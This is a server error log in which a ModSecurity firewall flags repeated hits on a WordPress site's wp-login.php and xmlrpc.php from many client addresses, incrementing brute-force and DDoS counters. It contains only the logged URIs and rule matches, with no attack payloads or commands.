[Tue Apr 14 22:57:55.269955 2026] [:error] [pid 3778:tid 3795] [client 197.146.112.70:39530] [client 197.146.112.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 197.146.112.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V8xx5DfpNmYF_PaEHDgAAAU8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:56.871498 2026] [:error] [pid 3778:tid 3783] [client 197.146.112.70:39530] [client 197.146.112.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 197.146.112.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V9Bx5DfpNmYF_PaEHEgAAAUM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:57:58.403552 2026] [:error] [pid 3778:tid 3794] [client 197.146.112.70:39530] [client 197.146.112.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 197.146.112.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V9hx5DfpNmYF_PaEHFwAAAU4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:00.592853 2026] [:error] [pid 3778:tid 3791] [client 197.146.112.70:39530] [client 197.146.112.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 197.146.112.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V-Bx5DfpNmYF_PaEHHQAAAUs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:00.991678 2026] [:error] [pid 3810:tid 3815] [client 213.55.247.166:14679] [client 213.55.247.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.247.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V-Mqc5XaYZhFXVGfP7gAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:01.842854 2026] [:error] [pid 3778:tid 3795] [client 197.146.112.70:39530] [client 197.146.112.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 197.146.112.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V-Rx5DfpNmYF_PaEHHwAAAU8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:02.289495 2026] [:error] [pid 3810:tid 3819] [client 213.55.247.166:14679] [client 213.55.247.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.247.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V-sqc5XaYZhFXVGfP8AAAAYY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:03.454467 2026] [:error] [pid 3778:tid 3781] [client 197.146.112.70:39530] [client 197.146.112.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 197.146.112.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V-xx5DfpNmYF_PaEHJAAAAUE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:03.572987 2026] [:error] [pid 3810:tid 3814] [client 213.55.247.166:14679] [client 213.55.247.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.247.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V-8qc5XaYZhFXVGfP8gAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:04.984384 2026] [:error] [pid 3778:tid 3799] [client 197.146.112.70:39530] [client 197.146.112.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 197.146.112.70, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V_Bx5DfpNmYF_PaEHJgAAAVM"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:06.002282 2026] [:error] [pid 3810:tid 3825] [client 213.55.247.166:14679] [client 213.55.247.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.247.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5V_sqc5XaYZhFXVGfP9gAAAYw"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:09.026425 2026] [:error] [pid 3810:tid 3828] [client 213.55.247.166:14679] [client 213.55.247.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.247.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WAcqc5XaYZhFXVGfP-QAAAY8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:11.002157 2026] [:error] [pid 3810:tid 3824] [client 213.55.247.166:14679] [client 213.55.247.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.247.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WA8qc5XaYZhFXVGfP_AAAAYs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:13.192462 2026] [:error] [pid 3810:tid 3835] [client 213.55.247.166:14679] [client 213.55.247.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.247.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WBcqc5XaYZhFXVGfQAQAAAZY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:14.403858 2026] [:error] [pid 3810:tid 3822] [client 213.55.247.166:14679] [client 213.55.247.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 213.55.247.166, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WBsqc5XaYZhFXVGfQBAAAAYk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:17.148152 2026] [:error] [pid 3810:tid 3830] [client 109.191.103.76:54942] [client 109.191.103.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.191.103.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WCcqc5XaYZhFXVGfQCgAAAZE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:19.363401 2026] [:error] [pid 3810:tid 3817] [client 109.191.103.76:54942] [client 109.191.103.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.191.103.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WC8qc5XaYZhFXVGfQEAAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:21.118945 2026] [:error] [pid 3810:tid 3837] [client 109.191.103.76:54942] [client 109.191.103.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.191.103.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WDcqc5XaYZhFXVGfQGgAAAZg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:23.028672 2026] [:error] [pid 3810:tid 3829] [client 109.191.103.76:54942] [client 109.191.103.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.191.103.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WD8qc5XaYZhFXVGfQHAAAAZA"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:25.932078 2026] [:error] [pid 3810:tid 3821] [client 109.191.103.76:54942] [client 109.191.103.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.191.103.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WEcqc5XaYZhFXVGfQKwAAAYg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:27.744348 2026] [:error] [pid 3810:tid 3815] [client 109.191.103.76:54942] [client 109.191.103.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.191.103.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WE8qc5XaYZhFXVGfQLgAAAYI"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:29.426527 2026] [:error] [pid 3810:tid 3817] [client 109.191.103.76:54942] [client 109.191.103.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 109.191.103.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WFcqc5XaYZhFXVGfQMwAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:31.043477 2026] [:error] [pid 60074:tid 60098] [client 152.58.78.37:57670] [client 152.58.78.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.58.78.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WF-tqnEmNU9vpHCnJUAAAANY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:33.215610 2026] [:error] [pid 60074:tid 60097] [client 152.58.78.37:57670] [client 152.58.78.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.58.78.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WGetqnEmNU9vpHCnJUQAAANU"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:36.437825 2026] [:error] [pid 60074:tid 60099] [client 152.58.78.37:57670] [client 152.58.78.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.58.78.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WHOtqnEmNU9vpHCnJUwAAANc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:39.492911 2026] [:error] [pid 60074:tid 60084] [client 152.58.78.37:57670] [client 152.58.78.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.58.78.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WH-tqnEmNU9vpHCnJXgAAAMg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:40.992772 2026] [:error] [pid 60074:tid 60087] [client 152.58.78.37:57670] [client 152.58.78.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.58.78.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WIOtqnEmNU9vpHCnJYgAAAMs"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:45.043044 2026] [:error] [pid 60074:tid 60084] [client 152.58.78.37:57670] [client 152.58.78.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.58.78.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WJetqnEmNU9vpHCnJbQAAAMg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:45.754302 2026] [:error] [pid 59986:tid 60037] [client 76.69.103.19:35090] [client 76.69.103.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 76.69.103.19, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WJZ6axKeW6bX4H7e1PwAAAFE"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:46.487904 2026] [:error] [pid 60074:tid 60082] [client 152.58.78.37:57670] [client 152.58.78.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 152.58.78.37, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WJutqnEmNU9vpHCnJbgAAAMY"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:49.611388 2026] [:error] [pid 59986:tid 60024] [client 76.69.103.19:35090] [client 76.69.103.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 76.69.103.19, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WKZ6axKeW6bX4H7e1VAAAAEQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:52.206297 2026] [:error] [pid 59986:tid 60029] [client 76.69.103.19:35090] [client 76.69.103.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 76.69.103.19, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WLJ6axKeW6bX4H7e1WgAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:55.017440 2026] [:error] [pid 59986:tid 60034] [client 76.69.103.19:35090] [client 76.69.103.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 76.69.103.19, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WL56axKeW6bX4H7e1WwAAAE4"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:58:57.286651 2026] [:error] [pid 59986:tid 60028] [client 76.69.103.19:35090] [client 76.69.103.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 76.69.103.19, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WMZ6axKeW6bX4H7e1XAAAAEg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:59:00.449276 2026] [:error] [pid 59986:tid 60035] [client 76.69.103.19:35090] [client 76.69.103.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 76.69.103.19, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WNJ6axKeW6bX4H7e1XgAAAE8"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:59:01.906620 2026] [:error] [pid 22177:tid 22189] [client 125.166.150.195:52095] [client 125.166.150.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 125.166.150.195, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WNYTVeJSXHDIlEDuddAAAAQo"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 22:59:05.701109 2026] [:error] [pid 22177:tid 22187] [client 125.166.150.195:52095] [client 125.166.150.195] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 125.166.150.195, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ad5WOYTVeJSXHDIlEDudeAAAAQg"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Apr 14 23:05:26.920407 2026] [:error] [pid 59986:tid 60037] [client 185.78.209.195:58665] [client 185.78.209.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.78.209.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5Xtp6axKeW6bX4H7e3lgAAAFE"]
[Tue Apr 14 23:08:05.651039 2026] [:error] [pid 3778:tid 3789] [client 34.175.117.206:58958] [client 34.175.117.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.175.117.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5YVRx5DfpNmYF_PaEJGQAAAUk"]
[Tue Apr 14 23:08:27.786960 2026] [:error] [pid 22177:tid 22195] [client 35.198.41.118:35046] [client 35.198.41.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.198.41.118, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5Ya4TVeJSXHDIlEDufiwAAARA"]
[Tue Apr 14 23:15:39.220497 2026] [:error] [pid 59985:tid 59993] [client 47.244.90.157:52720] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5aG-gHaxkvLE6V1kl5KwAAAAA"]
[Tue Apr 14 23:16:20.323636 2026] [:error] [pid 60074:tid 60086] [client 82.223.70.218:39608] [client 82.223.70.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.70.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5aROtqnEmNU9vpHCnOiwAAAMo"]
[Tue Apr 14 23:18:28.946907 2026] [:error] [pid 60074:tid 60090] [client 103.27.206.168:43628] [client 103.27.206.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.27.206.168, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5axOtqnEmNU9vpHCnPQgAAAM4"]
[Tue Apr 14 23:19:07.756505 2026] [:error] [pid 3810:tid 3828] [client 85.128.143.130:51108] [client 85.128.143.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.130, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5a68qc5XaYZhFXVGfZDAAAAY8"]
[Tue Apr 14 23:41:44.077066 2026] [:error] [pid 3810:tid 3825] [client 155.133.142.66:50726] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 155.133.142.66, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5gOMqc5XaYZhFXVGfk7QAAAYw"]
[Tue Apr 14 23:42:07.766898 2026] [:error] [pid 59986:tid 60033] [client 54.38.195.241:38234] [client 54.38.195.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.38.195.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5gT56axKeW6bX4H7fObgAAAE0"]
[Tue Apr 14 23:45:36.325045 2026] [:error] [pid 22177:tid 22196] [client 54.37.239.214:57230] [client 54.37.239.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.37.239.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5hIITVeJSXHDIlEDuoRQAAARE"]
[Tue Apr 14 23:53:35.202879 2026] [:error] [pid 60074:tid 60088] [client 62.169.19.61:49800] [client 62.169.19.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.169.19.61, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5i_-tqnEmNU9vpHCndFgAAAMw"]
[Tue Apr 14 23:56:18.620118 2026] [:error] [pid 3778:tid 3802] [client 212.129.7.184:56278] [client 212.129.7.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.129.7.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5johx5DfpNmYF_PaEX6gAAAVY"]
[Wed Apr 15 00:02:56.391592 2026] [:error] [pid 60074:tid 60085] [client 96.46.48.39:55876] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5lMOtqnEmNU9vpHCngcQAAAMk"]
[Wed Apr 15 00:06:39.172291 2026] [:error] [pid 59985:tid 59993] [client 35.201.138.245:43589] [client 35.201.138.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.201.138.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5mD-gHaxkvLE6V1kmDdgAAAAA"]
[Wed Apr 15 00:08:18.636763 2026] [:error] [pid 59986:tid 60031] [client 5.45.121.230:36652] [client 5.45.121.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.45.121.230, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5mcp6axKeW6bX4H7fdbQAAAEs"]
[Wed Apr 15 00:13:42.461117 2026] [:error] [pid 59987:tid 60064] [client 59.125.102.142:46820] [client 59.125.102.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.142, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5ntlWpk-Tfi6_vLKphlgAAAJE"]
[Wed Apr 15 00:16:13.605827 2026] [:error] [pid 59986:tid 60038] [client 160.250.187.3:37402] [client 160.250.187.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.187.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad5oTZ6axKeW6bX4H7fjAQAAAFI"]
